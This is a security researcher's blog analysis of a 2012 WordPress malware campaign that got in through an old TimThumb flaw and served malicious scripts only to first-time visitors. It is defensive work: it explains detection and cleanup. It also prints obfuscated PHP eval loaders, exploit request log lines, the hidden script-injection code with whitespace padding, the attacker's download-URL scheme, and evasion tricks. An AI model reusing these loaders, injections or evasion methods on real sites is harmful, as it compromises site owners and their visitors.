I first came across this attack in late May of 2012. It had quite a recognizable and frequently updated type of malicious JavaScript code injected in the <head> section of WordPress blogs and iframe URLs generated by this script always ended with top2.html (now rem2.html)
It was a massive infection and many webmasters asked me to help them clean up their sites. I told them how to search for various pattern of malicious files and asked them to provide me with access logs and samples of the malicious code they found on their servers.
At first the hack looked quite mysterious:
- Webmasters sent me many backdoor files but none of them contained the malicious code I saw in infected web pages.
- In theme files, the <head> section didn’t contain any malicious code at all.
- While access logs showed some successful TimThumb attacks, I didn’t see requests to backdoors that updated the malicious code injected into the <head> section (and that code somehow changed every day).
- And the script injection was quite hard to track since it would usually disappear after the first check. You couldn’t tell whether webmasters really cleaned their sites up or the malware was simply hiding from you.
The mystery was solved when I got access to one of the infected sites.
Short description
- Hackers inject an encrypted malicious PHP code into random files under wp-includes (internally, they should be included on every WP load).
- This code adds a new hook function to the “wp-head” action.
- This new wp-head hook function called “check_wp_head_load” is also a part of the encrypted code. It downloads a new sample of the malicious JavaScript and injects it into the <head> section of WordPress pages.
- To make the code injection hard to detect, the PHP code also keeps track of visitor IPs and only injects malicious JavaScript for first-time visitors.
Detailed description
The implementation of this attack is quite interesting so I provide this detailed description. It may help webmasters properly clean up and protect their sites. Security researcher and system administrators will also find information on how to detect this issue.
1. Penetration.
On the sites sites that I worked with, I found unpatched old version of TimThumb library. Access logs also showed that someone used this security hole:
95.128.204.x - - [01/May/2012:23:31:33 +0200] "GET //wp-content/themes/LondonLive/thumb.php?src=hxxp://picasa.com.kereny.ro/go.php HTTP/1.1" 200 415 example.com "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" "-"
95.128.204.x - - [02/May/2012:21:57:13 +0200] "GET //wp-content/themes/LondonLive/thumb.php?src=hxxp://picasa.com.kereny.ro/go.php HTTP/1.1" 200 415 example.com "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" "-"
Nonetheless, on one site I found a directory with maintenance files (see more about them below) that suggest that this particular malware (earlier, less sophisticated version though) existed on the server back inNovember 2011. So it’s really hard to say, what security hole had been exploited back then — maybe the same TimThumb vulnerability.
On the other hand, on one compromised server, I discovered a new version of the doorways that target Google image search that I described a year ago. That Google image search poisoning attack uses the same type of PHP code encryption and a similar approach to maintenance files. I’m almost sure that the same people are behind these two attacks, and as far as I remember, the image poisoning attack used (at least a year ago) stolen FTP passwords.
2. wp-includes
Once a backdoor is uploaded to a server, it can be used to infect legitimate files. This particular attack aims.php files in the wp-includes directory. At the very top (or very bottom) of some files you can find a long line of an encrypted PHP code that usually looks like this (there are no two files with exactly the same malicious code but you can recognize the following three types of script structures):
<?php $fyw_jmzlq = array("eNqtWgl32siy/iuMT05sXjyOWg","ugccjFjsHGsWDAgIGZHA4I2SzC","cFjCku...removed.../04U8HHmkbE78MhDn","9VASffpah4/LLvGfj/8PWGX41A","==");eval("\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E...removed...\x29\x29\x29\x29\x3B");?>
or
<?php $ufvaenay = array('rVoJd9rIsv4rjE9ObF4','8jloLoHHIxY7BxrFgwI','CBmRwOCNkswnBYwpLkv',...removed...+v9OFPB','x5pGxO/DIQ5/VQEn36W','oePyy7xn4//Dw==');$lnrtfv_ql = strrev('edoced_46esab');$egdzk = strrev('etalfnizg');eval($egdzk($lnrtfv_ql(implode('',$ufvaenay)))); ?>
or
<?php $hbfmzszbt = "e/*./"; preg_replace(strrev($hbfmzszbt),"\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'rVoJd9rIsv4rjE9...removed.../8H'\x29\x29\x29\x3B",".");?>
The decoded version of these scripts can be found here: http://pastebin.com/ghSXKJmM
The point of using files in wp-includes is most of them are used by WordPress to generate every web page so the code is guaranteed to be executed. Moreover, there are much more files in this directory than in the root directory so it is more difficult to spot unauthorized changes if you manually look through the files.
In each infected site, there are usually 2-4 infected files under wp-includes. Here are the names of the most frequently infected files (based on the analysis of 50 infected blogs): author-template.php, bookmark-template.php, bookmark.php, capabilities.php, category-template.php, category.php, class-wp-ajax-response.php, class-wp-walker.php, comment-template.php, comment.php, cron.php, default-filters.php, deprecated.php, feed.php, formatting.php, general-template.php, kses.php, l10n.php, link-template.php, meta.php, plugin.php, pomo/mo.php, post-template.php, post.php, query.php, rewrite.php, script-loader.php, theme.php, user.php.
3. wp-head
To inject a script in the <head> section of web pages, the malicious code registers a new hook for the wp-head action.
@add_action("wp_head", "check_wp_head_load", mt_rand(1, 6));
This means that the output of the “check_wp_head_load” function (also defined in the encrypted malicious code) will be used by WordPress to dynamically generate the <head> section of web pages. Moreover, themt_rand(1, 6) part of the code tells to add the action with a random priority, so depending on the plugins and themes used by a particular blog, the position of the injected content may change with every page load.
Another random factor is the number of spaces before the injected script. It can be between 300 and 1,000
echo “\n” .str_repeat(” “, mt_rand(300, 1000)) .”<script type=’text/javascript’>$decodedPayload</script>\n”;
The spaces make the script not visible without horizontal scrolling when you view HTML code of infected web pages. And the varying length of the whitespace is probably intended to make it harder to write universal detection rules for malware scanners.
To minimize detection rate, the malicious script is being injected into web pages only for first time visitors (IP address) whose browsers don’t have the “lonly” cookie (sign that a user had been attacked before) and who don’t look like bots of search engines and security scanners (IP ranges).
4. Maintenance files
What really makes detection of this attack more difficult is it’s ability to track visitors. Malware will be served only once a day for any unique IP-address. This holds true for all infected sites on the same server (even if they belong to different accounts). E.g. if you open one hacked site, you won’t be able to see the malicious script on the rest infected sites on that server unless you change your IP address.
This IP tracking is implemented using maintenance files in the server’s global temporary directory(usually /tmp).
In the temporary directory, the malicious script creates the “.tmp/” subdirectory with two files: yymmdd andtmp_yymmdd (where yymmdd is current date, e.g. on June 18, 2012 they would be 120618 and tmp_120618)
The yymmdd files contain IP addresses of users that has been attacked on that date. The file has 0777permissions and all server accounts can both read it and update it.
The shared temp directory along with 0777 permissions allow to reuse the same maintenance files for all infected sites on the same server, even if they belong to different users and server accounts. Just a few days ago I saw new IPs being appended to the yymmdd file after I removed all malicious scripts from one account on a shared server. And on the next day the new yymmdd was created by a different user (whose account was still infected).
The tmp_yymmdd file contains a base64-encoded version of the malicious JavaScript that will be inject into WordPress pages.
A quick trick for hosting providers. This command can reveal whether some account on your server is infected and which account is infected
ls -l /tmp/.tmp/
-rwxrwxrwx 1 user1 1110 1170 Jun 19 04:23 120619
-rwxrwxrwx 1 user1 1110 2396 Jun 18 18:01 tmp_120619
The malicious script is programmed to delete maintenance files three time a day at 00:00, 12:00, and 18:00. Of course this only happens if someone opens infected web pages exactly at 00:00, 12:00, and 18:00, otherwise the script tries to delete all old files and create new ones if they don’t exist. So the list of visitors’ IPs is reset 1-3 times a day. The malicious script can also change this often.
5. Malicious script updates
The malicious JavaScripts served by infected blogs change every day but hackers don’t need to update them on every individual site. Instead they only update them on their central server — the rest is done by the code in the infected “wp-includes” files that automatically downloads a new version of the script (base64-encoded) every time it can’t find the .tmp/tmp_yymmdd file in the temporary directory (at least once a day when date changes). Actually, at every given moment, the central server has two slightly different copies of the bad script that load malware from two different URLs. Infected servers randomly pull one of them.
The remote server that stores original copies of the malware is 178.162.129.170 (Leaseweb – no surprise here). It has 5 associated domain names that scripts use to generate download URLs: net00net .net,net11net.net, net22net.net, net33net.net, net44net.net – all registered on May 20, 2012.
The download URL has the following format:
hxxp://net33net .net/net/?u=” . base64_encode(“http://” .$host .$request_uri)
As you can see, it is possible to suspend this attack if authorities shut down or sink-hole these net[0-4]{2}net.net domains. Meanwhile, security companies can use the above URLs to promptly add new versions of malicious scripts and new malicious domains to their databases.
However, there is one more hurdle prepared for your by the attackers. If you try to download a new version of the malicious JavaScript directly from those net[0-4]{2}net.net sites, the chances are all you get will be this:
dmFyIGdhID0gJ3NjcmlwdCc7IHZhciB0eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7IHZhciBhc3luYyA9IHRydWU7dmFyIGd2YXIgPSAnc3Jhcic7IHZhciBzcmFyID0gJ3RyYXgnOw==
which decodes to
var ga = 'script'; var type = 'text/javascript'; var async = true;var gvar = 'srar'; var srar = 'trax';
just a bunch of variable declarations that vaguely resemble Google Analytics code. The code makes no sense and is absolutely benign.
But if you check what the malicious code in wp-includes files do, you’ll notice that it uses the “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)” User Agent header. And if you use this User Agent too then, lo and behold, you get a real malicious code from the net[0-4]{2}net.net sites.
6. Malicious JS scripts
The malicious scripts look like this (in one line) and have a recognizable format:
They begin with assignment to the “wow” variable (in earlier versions it was “st” variable). This variable contains an encrypted domain name of the malicious URL. Then “Date” and a few long strings that consist almost solely of punctuation marks and special symbols (=-+[()]?!@}{`$*#&|><~^:). And end with “window.eval(f.decodeURIComponent(a)“.
The script checks if there is a “lonly” cookie. It it doesn’t exist, it sets that “lonly” cookie for one day, creates an invisible iframe and adds an “onmousemove” event handler for Firefox and Internet Explorerbrowsers. When user moves a mouse, the malicious iframe is being added to a web pages.
The iframe URLs change a few times a day and currently (as of July 10th, 2012) end with “/rem2.html“. In late May and early June they ended with “/top2.html”
Here are just a few of them:
- hxxp://gemeni .fr .ms/top2.html
- hxxp://goga-any .r .gd/top2.html
- hxxp://enema .net .tc/top2.html
- hxxp://gemeni .cn .ms/top2.html
- hxxp://leming .com .br .tc/top2.html
- hxxp://kredits .check-it-out .nl/top2.html
- hxxp://leaveme-send .r .gd/rem2.html
- hxxp://onthe .check-it-out .nl/rem2.html
- hxxp://meinkampf .slx .nl/rem2.html
- hxxp://skiptomy .stx .nl/rem2.html
- hxxp://this-increase .r .gd/rem2.html
- hxxp://this-quite .r .gd/rem2.html
- hxxp://this-increase .r .gd/rem2.html
- hxxp://this-than .r .gd/rem2.html
- hxxp://this-there .r .gd/rem2.html
- hxxp://reviewszerochan .stx .nl/rem2.html
- hxxp://downloadskirarin .slx .nl/rem2.html
- hxxp://todirected .uni .me/rem2.html
- hxxp://revolutionreboryshion .jp .pn/rem2.html
- hxxp://qashqainightshade .cn .pn/rem2.html
- hxxp://vodkamojito.com .br .tc/rem2.html
- hxxp://dulhanpics.com .au .pn/rem2.html
- hxxp://downloadtorrent .org .uk .tc/rem2.html
Check how they abuse services that provide free third and forth level domains along with DNS management (so that they could point the free domains to their own servers: 87.98.128.204, 94.23.120.147, 94.247.28.42 )
Detection prevention tricks
This attack uses quite a few tricks that aim to make its detection difficult, both for webmasters and security scanners.
- Using wp-head action to inject code into web pages. This trick makes is not obvious where to search for the malicious code, especially for webmasters that are not familiar with WordPress API.
- Hundreds of whitespace characters before the malicious script make it not visible when people look through the HTML code of web pages (horizontal scrolling is rarely used compared to vertical scrolling — even mouse wheels only provide vertical scrolling).
- Random position of the malicious script within the <head> section.
- Using polymorphic malicious code in random files under wp-includes. Every infected file has a unique version of the malicious code and every infected site has a different set of infected files.
- Server-wide IP tracking. Returning visitors (e.g. webmasters) won’t see the malicious code. And security scanners that checked at least one infected site on a server won’t see malware on the rest infected sites on the same server on that day. This trick seems to work well against Googles Safe Browsing scanners — I’ve seen them unblocking infected sites that still contained the malicious code when they checked them.
- Maintenance files outside of user accounts. They can’t be found if users only scan files under their home directory. At the same time this trick makes server-wide tracking and code reuse possible.
- “lonly” cookie. Another trick to tell first time visitors from those who have been already exposed to the malicious script.
- User Agent checks on the malware distributing net[0-4]{2}net.net sites. Even if you know correct URLs but use incorrect User Agent header, you will download a benign script instead of the real malicious scripts that the net[0-4]{2}net.net sites serve to infected websites.
- Using the onmousemove event handler to inject malicious iframe into a web page (DOM). This may prevent detection by some simple scanners that load web pages in a real web browser and analyze subsequent changes. If they don’t emulate mouse moves, the malicious iframe won’t be injected.
- Bot detection. One way or another most attacks currently try to hide malicious behavior from search engines and security scanners. This one uses a list of known IP ranges and User Agent strings that can identify search engine crawlers and AV scanners.
To webmasters
Although this attack is quite complex, there is an efficient trick that allows to find all new and infected files. Instead of searching for particular malware patterns, you should simply compare all your server files and directories to their canonical clean copies (for example, backup copies).
If your server files are under version control (e.g. Subversion) it will be as easy as issuing one command that reports latest modifications. (e.g. svn status) . And you can easily revert all unwanted modifications.
Obtaining canonical copies of files
And it’s not a big problem if your files are not under version control and you don’t have a backup copy. In this case all you need to do is get an official WordPress package directly from WordPress.org site and compare your WordPress installation with it. If you don’t use the latest version of WordPress for some reason (you should upgrade after the cleanup), you can get any previous version of WordPress here.
Of course, content of the wp-content directory on your server will not match wp-content directory in the official WP package an you need to compare it separately. Just get official versions of all your WordPressthemes and plugins and compare your server copies with them.
Comparing directories
To compare directories and files within directories you can use the diff command (if you are on Linux or Mac)
diff -rw yourdirectory canonicaldirectory
or WinMerge (if you use Windows)
Cleanup
Now that you know malicious and infected files, you can quickly clean up your site. Delete files that shouldn’t be there and replace infected files with their canonical copies.
Once you clean up your site make sure to:
- Thoroughly check your computer for malware.
- Change all passwords: FTP, WordPress, etc.
- Update WordPress and all themes and plugins that you use.
- Check that TimThumb library in themes and plugins that use it is up-to-date.
- Remove all theme and plugins that you don’t use (disabling them in WordPress is not enough).
No comments:
Post a Comment